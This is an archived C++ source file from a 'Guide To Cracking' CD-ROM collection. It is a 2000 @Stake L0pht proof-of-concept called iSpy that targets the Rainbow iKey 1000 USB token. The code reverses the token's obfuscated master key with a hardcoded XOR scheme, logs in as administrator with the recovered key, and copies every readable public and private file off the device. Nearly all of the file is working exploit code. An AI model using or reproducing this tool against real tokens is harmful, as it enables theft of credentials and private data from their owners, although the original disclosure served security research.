home *** CD-ROM | disk | FTP | other *** search
/ Guide To Cracking 2002 / Guide_to_Cracking_2002.iso / Utilities / Password Crackerz / Ispy.exe / ispy.cpp next >
Encoding:
C/C++ Source or Header  |  2000-06-13  |  11.3 KB  |  329 lines

  1. /******************************************************************************
  2.  * 
  3.  * iSpy: Rainbow iKey 1000 MKEY Generator and Data Extractor
  4.  * kingpin@atstake.com
  5.  * @Stake L0pht Research Labs
  6.  * http://www.atstake.com
  7.  *
  8.  * Version    1.0
  9.  * Date        6.13.00
  10.  *
  11.  * This proof-of-concept tool will perform the following functions:
  12.  *
  13.  * 1) Retrieve and display configuration data for the inserted iKey
  14.  * 2) Convert obfuscated MKEY value into actual MKEY value
  15.  * 3) Login as Administrator using actual MKEY value
  16.  * 4) Retrieve all public and private data and export the directory hierarchy
  17.  *      to DOS
  18.  *
  19.  ******************************************************************************/
  20.  
  21. #include <direct.h>
  22. #include <windows.h>
  23. #include <vector>
  24. using namespace std;
  25. #include <stdlib.h>
  26. #include <stdio.h>
  27. #include <conio.h>
  28. #include <ctype.h>
  29. #include <string.h>
  30.  
  31. #include "tokenitf.h"
  32. #include "tokenmd5.h"
  33.  
  34. // defines
  35.  
  36. #define CONFIG_FILENAME "CONFIG.TXT" // filename
  37.  
  38. // typedefs
  39.  
  40. typedef unsigned char mkey_block[8];
  41.  
  42. // globals
  43.  
  44. unsigned char buff[512];
  45. RNBTKN_CONTEXT ctx;
  46.  
  47. // declarations
  48.  
  49. unsigned long ErrorInfo (char *msg, unsigned long status);
  50. void HexDisplay (char *msg, unsigned char *data, unsigned long length);
  51. int atomb (const char *instr, mkey_block out);
  52. int enum_directory (int path);
  53. int RNBTKN_API RnbTkn_EnumDirEntries(PRNBTKN_CONTEXT ctx, unsigned long Dir_Id);
  54.  
  55. int _cdecl main(int argc, char *argv[])
  56. {
  57.     unsigned long status;
  58.     mkey_block obfuscated, actual;
  59.     FILE    *file;
  60.     string    curDir; // root directory for file system traversal
  61.  
  62.     if (argc == 1 || (atomb (argv[1], obfuscated) == 0))
  63.        {
  64.           fprintf(stdout, "\nUsage: %s <8-byte obfuscated MKEY>\n", argv[0]);
  65.         return 1;
  66.     }    
  67.     
  68.     // Print startup banner
  69.     fprintf(stdout, "iSpy: Rainbow iKey 1000 MKEY Generator and Data Extractor\n");
  70.     fprintf(stdout, "kingpin@atstake.com\n");
  71.     fprintf(stdout, "@Stake L0pht Research Labs\n");
  72.     fprintf(stdout, "June 2000\n");
  73.  
  74.     // open device
  75.     status=ErrorInfo("OpenDevice",RnbTkn_OpenDevice(&ctx, RNBTKN_OPEN_FIRST));
  76.     fprintf(stdout, "\n");
  77.     if (status != RB_SUCCESS) return 1;
  78.  
  79.     if ((file = fopen(CONFIG_FILENAME, "w")) == NULL) // create file
  80.     {
  81.         fprintf(stdout, "Unable to create %s\n\n", CONFIG_FILENAME);            
  82.         return 1;
  83.     }
  84.  
  85.     // get configuration data
  86.     RNBTKN_DIAGINFO diaginfo;
  87.     RNBTKN_ACCESSINFO accessinfo;
  88.  
  89.     status = RnbTkn_Diagnose(&ctx, &diaginfo);
  90.     if (status != RB_SUCCESS) return 1;
  91.     status = RnbTkn_GetAccessSettings(&ctx, &accessinfo);
  92.     if (status != RB_SUCCESS) return 1;
  93.  
  94.     fprintf(stdout, "\nMagic = %X\n", ctx.Magic);
  95.     fprintf(stdout, "DeviceHandle = %d\n", ctx.DeviceHandle);
  96.     fprintf(stdout, "ClientHandle = %d\n", ctx.ClientHandle);
  97.     fprintf(stdout, "Flags = %X\n", ctx.Flags);
  98.     fprintf(stdout, "library_version = %d\n", ctx.library_version);
  99.     fprintf(stdout, "driver_version = %d\n", ctx.driver_version);
  100.     fprintf(stdout, "ver_major = %d\n", ctx.ver_major);
  101.     fprintf(stdout, "ver_minor = %d\n", ctx.ver_minor);
  102.     fprintf(stdout, "prod_code = %X\n", ctx.prod_code);
  103.     fprintf(stdout, "config = %d\n", ctx.config);
  104.     fprintf(stdout, "header_size = %d\n", ctx.header_size);
  105.     fprintf(stdout, "modulus_size = %d\n", ctx.modulus_size);
  106.     fprintf(stdout, "mem_size = %d (bytes)\n", ctx.mem_size);
  107.     fprintf(stdout, "capabilities = %lX\n", ctx.capabilities);
  108.     fprintf(stdout, "SerialNumber = %08lX%08lX\n", ctx.SerialNumber[1], ctx.SerialNumber[0]);    
  109.     fprintf(stdout, "CheckSum = %04X\n",diaginfo.CheckSum);
  110.     fprintf(stdout, "HwInfo = %04X\n",diaginfo.HwInfo);
  111.     fprintf(stdout, "MaxPinRetries = %d\n", accessinfo.MaxPinRetries);
  112.     fprintf(stdout, "CurPinCounter = %d\n", accessinfo.CurPinCounter);
  113.     fprintf(stdout, "CreateAccess = %d\n", accessinfo.CreateAccess);
  114.     fprintf(stdout, "DeleteAccess = %d\n", accessinfo.DeleteAccess);
  115.     
  116.     fprintf(file, "Magic = %X\n", ctx.Magic);
  117.     fprintf(file, "DeviceHandle = %d\n", ctx.DeviceHandle);
  118.     fprintf(file, "ClientHandle = %d\n", ctx.ClientHandle);
  119.     fprintf(file, "Flags = %X\n", ctx.Flags);
  120.     fprintf(file, "library_version = %d\n", ctx.library_version);
  121.     fprintf(file, "driver_version = %d\n", ctx.driver_version);
  122.     fprintf(file, "ver_major = %d\n", ctx.ver_major);
  123.     fprintf(file, "ver_minor = %d\n", ctx.ver_minor);
  124.     fprintf(file, "prod_code = %X\n", ctx.prod_code);
  125.     fprintf(file, "config = %d\n", ctx.config);
  126.     fprintf(file, "header_size = %d\n", ctx.header_size);
  127.     fprintf(file, "modulus_size = %d\n", ctx.modulus_size);
  128.     fprintf(file, "mem_size = %d (bytes)\n", ctx.mem_size);
  129.     fprintf(file, "capabilities = %lX\n", ctx.capabilities);
  130.     fprintf(file, "SerialNumber = %08lX%08lX\n", ctx.SerialNumber[1], ctx.SerialNumber[0]);    
  131.     fprintf(file, "CheckSum = %04X\n",diaginfo.CheckSum);
  132.     fprintf(file, "HwInfo = %04X\n",diaginfo.HwInfo);
  133.     fprintf(file, "MaxPinRetries = %d\n", accessinfo.MaxPinRetries);
  134.     fprintf(file, "CurPinCounter = %d\n", accessinfo.CurPinCounter);
  135.     fprintf(file, "CreateAccess = %d\n", accessinfo.CreateAccess);
  136.     fprintf(file, "DeleteAccess = %d\n", accessinfo.DeleteAccess);
  137.  
  138.     fclose (file);
  139.  
  140.     // determine actual MKEY value
  141.     actual[0] = obfuscated[0] ^ 0x1F;
  142.     actual[1] = obfuscated[1] ^ (actual[0] + 0x01);
  143.     actual[2] = obfuscated[2] ^ 0x0F;
  144.     actual[3] = obfuscated[3] ^ (actual[2] + 0x10);
  145.     actual[4] = obfuscated[4] ^ 0x1F;
  146.     actual[5] = obfuscated[5] ^ (actual[4] + 0x07);
  147.     actual[6] = obfuscated[6] ^ 0x0F;
  148.     actual[7] = obfuscated[7] ^ (actual[6] + 0xF3);
  149.  
  150.     HexDisplay("Obfuscated MKEY\t= ", obfuscated, 8);
  151.     HexDisplay("Actual MKEY\t= ", actual, 8);
  152.  
  153.     // login with actual MKEY
  154.     fprintf(stdout, "\n\nAttempting iKey Administrator login...\n");
  155.     status = ErrorInfo("VerifyMasterKey", RnbTkn_VerifyMasterKey(&ctx, actual));
  156.     fprintf(stdout, "\n\n");
  157.     if (status != RB_SUCCESS) return 1;
  158.  
  159.     // traverse hierarchy and clone file system and all data 
  160.     if (RnbTkn_EnumDirEntries(&ctx, 0)) // start from MF (master file) root directory
  161.     {
  162.         fprintf(stdout, "Unable to export file system.\n\n");
  163.         return 1;
  164.     }
  165.  
  166.     fprintf(stdout, "\niSpy manuever complete. File system successfully exported.\n");
  167.  
  168.     // Close device
  169.     status = RnbTkn_CloseDevice(&ctx);
  170.     if (status != RB_SUCCESS) return 1;
  171.  
  172.     return 0;
  173. }
  174.  
  175. int RNBTKN_API RnbTkn_EnumDirEntries(PRNBTKN_CONTEXT ctx, unsigned long Dir_Id)
  176. {
  177.     unsigned long i, status;
  178.     RNBTKN_FILEINFO fi;
  179.     char    filename[16];
  180.     FILE    *file;
  181.     unsigned char *buffer;
  182.     unsigned long nReturned;
  183.  
  184.     fprintf (stdout, "dir  = %08X\n", Dir_Id);
  185.     sprintf (filename, "%08X", Dir_Id);
  186.     mkdir (filename); // create directory in DOS
  187.     chdir (filename); // change into directory
  188.  
  189.     // for all files
  190.     for(i = 0; i < 100; i++) // maximum of 100 entries
  191.     {
  192.         status = RnbTkn_Dir(ctx, Dir_Id, i, &fi);
  193.         if (status != RB_SUCCESS) return 1;
  194.  
  195.         if (fi.Type == RNBTKN_FILETYPE_UNUSED || fi.Type == RNBTKN_FILETYPE_UNKNOWN)
  196.             break; // done
  197.         else if (fi.Type == RNBTKN_FILETYPE_DIR) // directory
  198.         {
  199.             chdir ("..");
  200.             RnbTkn_EnumDirEntries(ctx, fi.Id); // recursive
  201.         }
  202.         else // file
  203.         {
  204.             fprintf (stdout, "file = %08X\n", fi.Id);
  205.             sprintf (filename, "%08X", fi.Id);
  206.  
  207.             if ((file = fopen(filename, "wb")) == NULL) // create file
  208.             {
  209.                 fprintf(stdout, "\nUnable to create %s\n", filename);            
  210.                 return 1;
  211.             }
  212.  
  213.             // read file and export to DOS
  214.             if (fi.ReadAccess != RNBTKN_ACCESS_NEVER)
  215.             {
  216.                 status = RnbTkn_SelectFile(ctx, Dir_Id, fi.Id); // open file
  217.                 if (status != RB_SUCCESS) return 1;
  218.  
  219.                 buffer = (unsigned char *) malloc (fi.Size); // create buffer
  220.                 if (buffer == NULL) return 1;
  221.  
  222.                 status = RnbTkn_ReadFile(ctx, buffer, 0, fi.Size, &nReturned);
  223.                 if (status != RB_SUCCESS || nReturned != fi.Size) return 1;
  224.  
  225.                 if (fwrite (buffer, 1, fi.Size, file) != fi.Size)
  226.                 {
  227.                     fprintf(stdout, "\nError writing to %s\n", filename);
  228.                     return 1;
  229.                 }
  230.  
  231.                 free (buffer);
  232.             }
  233.  
  234.             fclose (file);
  235.         }
  236.     }
  237.  
  238.     return 0;
  239. }
  240.  
  241. unsigned long ErrorInfo (char *msg, unsigned long status)
  242. {
  243.     fprintf(stdout, "\n%s: ", msg );
  244.     switch( status )
  245.     {
  246.         case RB_SUCCESS             : fprintf(stdout, "SUCCESS"); break;
  247.         case RB_CANNOT_OPEN_DRIVER  : fprintf(stdout, "CANNOT_OPEN_DRIVER"); break;
  248.         case RB_INVALID_DRVR_VERSION: fprintf(stdout, "INVALID_DRVR_VERSION"); break;
  249.         case RB_INVALID_COMMAND     : fprintf(stdout, "INVALID_COMMAND"); break;
  250.         case RB_ACCESS_DENIED       : fprintf(stdout, "ACCESS_DENIED"); break;
  251.         case RB_ALREADY_ZERO        : fprintf(stdout, "ALREADY_ZERO"); break;
  252.         case RB_UNIT_NOT_FOUND      : fprintf(stdout, "UNIT_NOT_FOUND"); break;
  253.         case RB_DEVICE_REMOVED      : fprintf(stdout, "DEVICE_REMOVED"); break;
  254.         case RB_COMMUNICATIONS_ERROR: fprintf(stdout, "COMMUNICATIONS_ERROR"); break;
  255.         case RB_DIR_NOT_FOUND       : fprintf(stdout, "DIR_NOT_FOUND"); break;
  256.         case RB_FILE_NOT_FOUND      : fprintf(stdout, "FILE_NOT_FOUND"); break;
  257.         case RB_MEM_CORRUPT         : fprintf(stdout, "MEM_CORRUPT"); break;
  258.         case RB_INTERNAL_HW_ERROR   : fprintf(stdout, "INTERNAL_HW_ERROR"); break;
  259.         case RB_INVALID_RESP_SIZE   : fprintf(stdout, "INVALID_RESP_SIZE"); break;
  260.         case RB_PIN_EXPIRED         : fprintf(stdout, "PIN_EXPIRED"); break;
  261.         case RB_ALREADY_EXISTS      : fprintf(stdout, "ALREADY_EXISTS"); break;
  262.         case RB_NOT_ENOUGH_MEMORY   : fprintf(stdout, "NOT_ENOUGH_MEMORY"); break;
  263.         case RB_INVALID_PARAMETER   : fprintf(stdout, "INVALID_PARAMETER"); break;
  264.         case RB_INPUT_TOO_LONG      : fprintf(stdout, "INPUT_TOO_LONG"); break;
  265.         case RB_ALIGNMENT_ERROR     : fprintf(stdout, "ALIGNMENT_ERROR"); break;
  266.         case RB_INVALID_STATUS      : fprintf(stdout, "INVALID_STATUS"); break;
  267.         case RB_INVALID_FILE_SELECTED : fprintf(stdout, "INVALID_FILE_SELECTED"); break;
  268.         case RB_DEVICE_IN_USE       : fprintf(stdout, "DEVICE_IN_USE"); break;
  269.         default: fprintf(stdout,  "UNKNOWN ERROR[%04X]", status ); break;
  270.     }
  271.  
  272.     return status;
  273. }
  274.  
  275. int atomb (const char *instr, mkey_block out)
  276. {
  277.         unsigned char b;
  278.         char c;
  279.         int i;
  280.  
  281.         i=0;
  282.         b=0;
  283.         while(i<16) {
  284.                 b<<=4;
  285.                 c=instr[i];
  286.                 if(c==0)
  287.                         return 0;
  288.                 if((c>='0') && (c<='9')) b+=(c-'0');
  289.                 else if((c>='a') && (c<='f')) b+=(c-'a'+10);
  290.                 else if((c>='A') && (c<='F')) b+=(c-'A'+10);
  291.                 if((i%2)==1) {
  292.                         out[i/2]=b;
  293.                         b=0;
  294.                 }
  295.                 i++;
  296.         }
  297.         return 1;
  298. }
  299.  
  300. void HexDisplay (char *msg, unsigned char *data, unsigned long length)
  301. {
  302.     unsigned long i, n;
  303.  
  304.     fprintf(stdout, "\n%s", msg );
  305.  
  306.     while( length > 0 )
  307.     {
  308.         n = (length > 8) ? 8 : length;
  309.         for( i = 0; i < n; i++ )
  310.             fprintf(stdout, "%02X ", data[i] );
  311.  
  312.         while( i++ < 8 ) printf( "   " );
  313.  
  314.         fprintf(stdout, "  [" );
  315.         for( i = 0; i < n; i++, data++ )
  316.             fprintf(stdout, "%c", (*data < 32 || *data > 127) ? '.' : *data );
  317.  
  318.         while( i++ < 8 ) fprintf(stdout, " " );
  319.         fprintf(stdout, "]" );
  320.  
  321.         length -= n;
  322.         if( length > 0 )
  323.         {
  324.             fprintf(stdout, "\n" );
  325.             for( n = strlen(msg); n > 0; n-- ) fprintf(stdout, " " );
  326.         }
  327.     }
  328. }
  329.